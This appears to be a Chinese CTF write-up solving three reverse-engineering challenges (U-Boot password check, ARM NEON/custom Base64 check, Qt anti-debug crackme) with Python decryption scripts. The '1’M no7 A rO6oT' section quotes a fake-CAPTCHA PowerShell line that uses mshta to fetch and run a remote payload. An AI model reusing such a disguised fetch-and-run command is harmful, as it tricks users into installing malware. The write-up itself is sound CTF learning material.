这次只做了逆向题,还行,至少没爆0嘻嘻嘻!!

Oh_My_Uboot

下载附件拿到.txt,根据题目提示Uboot,将.txt改为.su

拖入ida分析

通过交叉引用,找到关键函数

在查看交叉引用

继续追

sub_60813F74

整体看下来这个函数是一个循环执行的交互式口令校验函数

准备提示字符串(解密后显示给用户)。

从用户输入读取密码,带退格处理,回显 *。

输入结束(回车 0x0D),进行处理和验证。

如果输入与目标密文匹配成功,则退出循环,否则继续。

下面先对输入 XOR 0x72。

把 XOR 后的结果做 Base58 类似的编码。

内部循环用 /58 和 %58 拆分。

使用一个自定义字符表(由 v23、v25 组合)。

1
2
3
4
5
6
7
8
9
10
11
LOBYTE(v8) = 48;

v9 = &v25;

do {

*v9++ = v8;

v8 = (unsigned __int8)(v8 + 1);

} while ( v8 != 106 );

这里自定义的字符集

我们跑一下出来就是

1
0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmno...i

接下来写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-

# 从逆向推测得到的自定义字母表

alphabet = "".join([chr(x) for x in range(0x30, 0x69+1)])
# 即 "0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmno...i"
def custom_decode(s):
num = 0
for ch in s:
idx = alphabet.index(ch) # 用自定义 alphabet 查找位置
num = num * 58 + idx # 每次基数为 58
return num.to_bytes((num.bit_length() + 7) // 8, "big")
def decrypt(encoded):
raw = custom_decode(encoded)
# XOR 0x72
plain = bytes([b ^ 0x72 for b in raw])
return plain
if __name__ == "__main__":
target = "5W2b9PbLE6SIc3WP=X6VbPI0?X@HMEWH;"
try:
pwd = decrypt(target)
print("Recovered password:", pwd)
print("As string:", pwd.decode("utf-8", errors="ignore"))
except Exception as e:
print("解码失败:", e)

1’M no7 A rO6oT

Cmd
输入

1
powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://challenge.xinshi.fun:42636/Coloringoutomic_Host.mp3  http://challenge.xinshi.fun:42636/Coloringoutomic_Host.mp3 #   ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086

出现

我们先执行下 shutdown /a

避免关机

然后dbgx32附加

直接搜索字符串

CTF{

ARM ASM

先拖入jadx 分析

调用了check方法,需要调试so层

1
2
3
if (__strlen_chk(v9, 0xFFFFFFFFFFFFFFFFLL) == 48) { ... }

else { ... }

先判断了一下输入的长度是否是48

然后进行三轮 NEON 向量运算

最后自定义base64返回

查看strings表

拿到自定义base64字符集

1
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/

vqtbl1q_s8指令是用v8作为索引去原始数据块中查表

计算table_result = 加密块 ^ v8

块 1 和块 0 使用的v8为原始t

块 2 使用的v8是t与 1 异或的结果

直接访问t拿到值

0D 0E 0F 0C 0B 0A 09 08 06 07 05 04 02 03 01 00

编写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
def custom_b64decode(s, table):

"""使用自定义Base64表解码"""

char_to_val = {c: i for i, c in enumerate(table)}

vals = [char_to_val[c] for c in s]

bytes_list = []

for i in range(0, len(vals), 4):

if i + 3 >= len(vals):

break # 处理完整的4字符组

v1, v2, v3, v4 = vals[i], vals[i+1], vals[i+2], vals[i+3]

# 组合为3个字节

b1 = (v1 << 2) | (v2 >> 4)

b2 = ((v2 & 0x0F) << 4) | (v3 >> 2)

b3 = ((v3 & 0x03) << 6) | v4

bytes_list.extend([b1, b2, b3])

return bytes_list[:48] # 确保只取48字节

def inverse_bit_operation(data):

"""逆位运算:还原加密时的位操作"""

result = []

for j in range(0, len(data), 3):

if j + 1 >= len(data):

result.extend(data[j:])

break

# 还原第j个字节 (加密: ej = (x >>5) | (x <<3))

ej = data[j]

original_j = ((ej & 0x7) << 5) | ((ej >> 3) & 0x1F)

# 还原第j+1个字节 (加密: ej1 = (x >>1) | (x <<7))

ej1 = data[j+1]

original_j1 = ((ej1 >> 7) & 1) | ((ej1 & 0x7F) << 1)

# 第j+2个字节不变

original_j2 = data[j+2] if (j+2 < len(data)) else 0

result.extend([original_j, original_j1, original_j2])

return result[:48] # 确保长度为48字节

def inverse_neon(data, t):

"""逆NEON向量操作:修正查表方向错误"""

# 计算各轮使用的v8向量(加密时的v8)

# 加密时处理顺序:i=0 → i=1 → i=2,解密需逆序处理

# v8初始值为t,每轮处理后与轮次索引异或(i=0,1,2)

v8_round2 = [x ^ 1 for x in t] # 处理块2时的v8(i=2时使用,已与i=1异或)

v8_round1 = t.copy() # 处理块1时的v8(i=1时使用,仅与i=0异或后不变)

v8_round0 = t.copy() # 处理块0时的v8(i=0时使用,初始值)



# 分3个16字节块

blocks = [

data[0:16], # 块0

data[16:32], # 块1

data[32:48] # 块2

]



# 逆操作函数:单个块解密

def decrypt_block(encrypted_block, v8):

original_block = [0] * 16

# 计算table_result = encrypted_block ^ v8

table_result = [eb ^ v for eb, v in zip(encrypted_block, v8)]

# 还原原始块:original_block[v8[i]] = table_result[i]

for i in range(16):

idx = v8[i] % 16 # 确保索引在0-15范围内

original_block[idx] = table_result[i]

return original_block




# 按逆序解密(先解密最后处理的块)

blocks[2] = decrypt_block(blocks[2], v8_round2)

blocks[1] = decrypt_block(blocks[1], v8_round1)

blocks[0] = decrypt_block(blocks[0], v8_round0)



# 拼接解密结果

return blocks[0] + blocks[1] + blocks[2]

if __name__ == "__main__":

# 配置参数

custom_b64_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"

target = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"

t = [0xD, 0xE, 0xF, 0xC, 0xB, 0xA, 9, 8, 6, 7, 5, 4, 2, 3, 1, 0]



# 解密步骤

decoded_b64 = custom_b64decode(target, custom_b64_table)

after_bit_op = inverse_bit_operation(decoded_b64)

original_data = inverse_neon(after_bit_op, t)



# 转换为字符串并输出(过滤非打印字符)

result = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in original_data])

print("解密结果:", result)


Qt_Creator

拿到附件先安装

然后附加进ida

定位带main函数

进入

sub_4015E0

继续分析

最开始这个地方有反调试 JMP的地方是JZ

我们改为JMP 过掉反调试的逻辑

继续分析

sub_403400 进行了qt的一些初始化

进入

sub_40EE30

发现密文

这里他也进行了一堆初始化,但是我们需要找到槽函数

*this = &off_42F394;

对这个字符串进行访问

发现他调用了一下函数

sub_411380 sub_4113E0 sub_411430 sub_40FD00 sub_40FFC0

sub_40FD00 sub_40FFC0 分析后发现是析构函数

sub_411430

继续跟sub_4113A0

sub_410100

看见text基本就是获取用户输入的文本了

这里也更加确定了 就是注册调用的逻辑

继续分析,找解密函数

sub_40FFF0

对V22 进行处理

进入分析

发现就是一个循环ASCII 值变化的过程

如果字符的索引是 偶数,其 ASCII 值会 加1。

如果字符的索引是 奇数,其 ASCII 值会 减1

最后写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def decrypt_flag(encrypted_string):
"""
Decrypts the flag by alternating between adding and subtracting 1 from each character's ASCII value.
"""
decrypted_chars = []
for i, char in enumerate(encrypted_string):
if i % 2 == 0: # Even index (0, 2, 4...)
decrypted_chars.append(chr(ord(char) + 1))
else: # Odd index (1, 3, 5...)
decrypted_chars.append(chr(ord(char) - 1))
return "".join(decrypted_chars)

# The encrypted strings, concatenated as per the disassembly analysis

encrypted_string = "KJKDSGzR6`bsd5s1q`0t^wdsx`b1mw2oh4mu|"

# Decrypt and print the flag

flag = decrypt_flag(encrypted_string)

print(f"The decrypted flag is: {flag}")